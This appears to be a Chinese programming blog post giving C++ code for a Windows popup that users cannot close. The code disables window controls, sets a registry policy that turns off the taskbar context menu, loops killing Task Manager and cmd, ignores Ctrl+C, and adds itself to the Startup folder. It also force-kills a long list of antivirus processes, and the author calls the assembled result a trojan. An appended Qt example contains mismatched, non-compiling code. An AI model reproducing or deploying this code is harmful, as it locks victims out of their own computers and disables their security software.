完美的让弹窗无法关闭

我们来看一下,如果我们打开一个弹窗,怎样关闭它

#1 右上角叉号

示例

禁用不就得了?

#2 任务栏右键

示例

也可以禁用啊!

#3 cmd

taskkill /f /t /im this_program.exe

这个禁用不了…但…循环结束它进程不就得了?

#4 任务管理器

禁用太麻烦,不如循环结束好

#5 Ctrl+C

果断禁用

#6 关机

做人留一线,日后好相见

我们不让他关不了机

让他重启之后还有😜!!!

#7 杀毒软件

果断结束进程

#8 无视

全屏

实现方法:

#1

void can_not_close(){//这段禁用窗口上的关闭和最小化键
	HWND hwnd=GetConsoleWindow();
	HMENU hmenu=GetSystemMenu(hwnd,false);
	RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
	LONG style=GetWindowLong(hwnd, GWL_STYLE);
	style&=~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd,GWL_STYLE,style);
	SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
	ShowWindow(hwnd,SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd,NULL);
}
要包含windows.h头文件呦

#2

通过修改注册表将其禁用

int Can_not__main(){
	const char* keyPath		="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
	const char* valueName	="NoTrayContextMenu";  
	DWORD dataType 			=REG_DWORD;  
	DWORD data 				=1; // 设置为1来禁用任务栏右键菜单  
	DWORD dataSize 			=sizeof(data);  
	if(ModifyRegistry(keyPath,valueName,dataType,reinterpret_cast<const BYTE*>(&data),dataSize)){  
		std::cout<<"成功禁用任务栏右键菜单!"<<std::endl;  
	}
	else{  
		std::cerr<<"禁用任务栏右键菜单失败!"<<std::endl;  
	}  
  
	return 0;  
}

#3

与 #4 一起实现

do{
	system("taskkill /f /t /im taskmgr.exe");
	system("taskkill /f /t /im cmd.exe");
	system("Cls");
	Sleep(1000);
}while(1);

#5

BOOL CtrlHandler(DWORD fdwCtrlType){  
	switch(fdwCtrlType){  
	// 处理CTRL+C事件  
	case CTRL_C_EVENT:  
		cout<<"Ctrl+C pressed, but the program will not exit."<<std::endl;
		return TRUE;
	case CTRL_CLOSE_EVENT:
		return TRUE;
	case CTRL_BREAK_EVENT:
		return FALSE;  
	case CTRL_LOGOFF_EVENT:  
	case CTRL_SHUTDOWN_EVENT:  
		return FALSE;
	case WM_CLOSE:// 阻止窗口关闭  
		return 0;
	default:  
		return FALSE;
	}
}
bool ModifyRegistry(const char* keyPath, const char* valueName, DWORD dataType, const BYTE* data, DWORD dataSize) {  
	HKEY hKey;  
	LONG result=RegOpenKeyExA(HKEY_CURRENT_USER,keyPath,0,KEY_WRITE,&hKey);  
	if (result==ERROR_SUCCESS) {  
		result=RegSetValueExA(hKey,valueName,0,dataType,data,dataSize);  
		RegCloseKey(hKey);  
		return(result==ERROR_SUCCESS);  
	}  
	return false;  
}

#6

添加开机启动项

	system("copy mine.lnk C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mine.lnk");

#7

	system("taskkill /f /t /im WDSafeDown.exe");
	system("taskkill /f /t /im 360Tray.exe");
	system("taskkill /f /t /im 360LogCenter.exe");
	system("taskkill /f /t /im PopWndTracker.exe");
	system("taskkill /f /t /im WDPayPro.exe");
	system("taskkill /f /t /im 360realpro.exe");
	system("taskkill /f /t /im 360UDiskPro.exe");
	system("taskkill /f /t /im wdfixsc.exe");
	system("taskkill /f /t /im wdsandbox.exe");
	system("taskkill /f /t /im WscReg.exe");
	system("taskkill /f /t /im 360settingcenter.exe");
	system("taskkill /f /t /im PopWndLog.exe");
	system("taskkill /f /t /im 360PayInsure.exe");
	system("taskkill /f /t /im EPSVHMiniDump64.exe");
	system("taskkill /f /t /im 360Win7Shield.exe");
	system("taskkill /f /t /im 360SPTool.exe");
	system("taskkill /f /t /im wdswfsafe.exe");
	system("taskkill /f /t /im 360UDiskGuard.exe");
	system("taskkill /f /t /im 360sctblist.exe");
	system("taskkill /f /t /im 360sclog.exe");
	system("taskkill /f /t /im 360xpfix.exe");
	system("taskkill /f /t /im 360Toasts.exe");
	/*360 died*/
	system("taskkill /f /t /im QQPCTray.exe");
	system("taskkill /f /t /im QQPCRTP.exe");
	system("taskkill /f /t /im QQPCMgr.exe");
	system("taskkill /f /t /im QQProtect.EXE");
	system("taskkill /f /t /im QQPMDaemon.exe");
	/*腾讯电脑管家 died*/
	system("taskkill /f /t /im KAVStart.exe");
	system("taskkill /f /t /im KWatch.exe");
	system("taskkill /f /t /im KMailMon.exe");
	system("taskkill /f /t /im KMService.exe");
	system("taskkill /f /t /im kxescore.exe");
	system("taskkill /f /t /im kxetray.exe");
	/*金山毒霸 died*/

#8

void quanping(){//全屏 
	HWND hwnd=GetForegroundWindow();
	int cx=GetSystemMetrics(SM_CXSCREEN);
	int cy=GetSystemMetrics(SM_CYSCREEN);
	LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
	SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
	SetWindowPos(hwnd,HWND_TOP,0,0,cx,cy,0);
	return;
}

凑起来就是一个木马😂

#7要放在程序最前面!!!

代码不易,留赞留关注!!!🙏🙏🙏

C++中,通常我们不会直接控制用户界面元素如窗口是否可以关闭,因为这通常是操作系统、GUI库或特定应用程序的功能。如果你想模拟一种“弹窗”不可关闭的效果,并接收关闭的消息,一种常见的做法是在程序内部设置一个信号或事件处理机制。 例如,如果你正在使用Qt库,你可以创建一个自定义的窗口类,并阻止其默认的关闭事件: ```cpp #include <QMainWindow> #include <QCloseEvent> class NonClosingWindow : public QMainWindow { public: NonClosingWindow(QWidget *parent = nullptr) : QMainWindow(parent) {} protected: void closeEvent(QCloseEvent *event) override { // 阻止默认关闭行为 event->ignore(); // 如果你想记录关闭尝试并接收这个消息,可以添加如下逻辑 emit closingAttempted(); } signals: void windowClosing() const; // 定义一个信号 private slots: void onClosingReceived() { qDebug() << "Window was attempted to be closed."; // 这里可以处理关闭操作的相关逻辑 } }; ``` 然后,在主函数中创建这个窗口并连接信号到槽: ```cpp int main(int argc, char *argv[]) { QApplication app(argc, argv); NonClosingWindow window; connect(&window, &NonClosingWindow::windowClosing, this, &App::onClosingReceived); // 连接信号到槽 window.show(); return app.exec(); // 程序运行,直到窗口关闭 } ``` 在这个例子中,当试图关闭窗口时,`closingAttempted()`信号会被发出,`onClosingReceived()`槽会捕获这个信号并在控制台打印一条消息。注意这只是演示如何阻止默认关闭,并非真正阻止用户通过其他方式关闭窗口,比如任务管理器等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值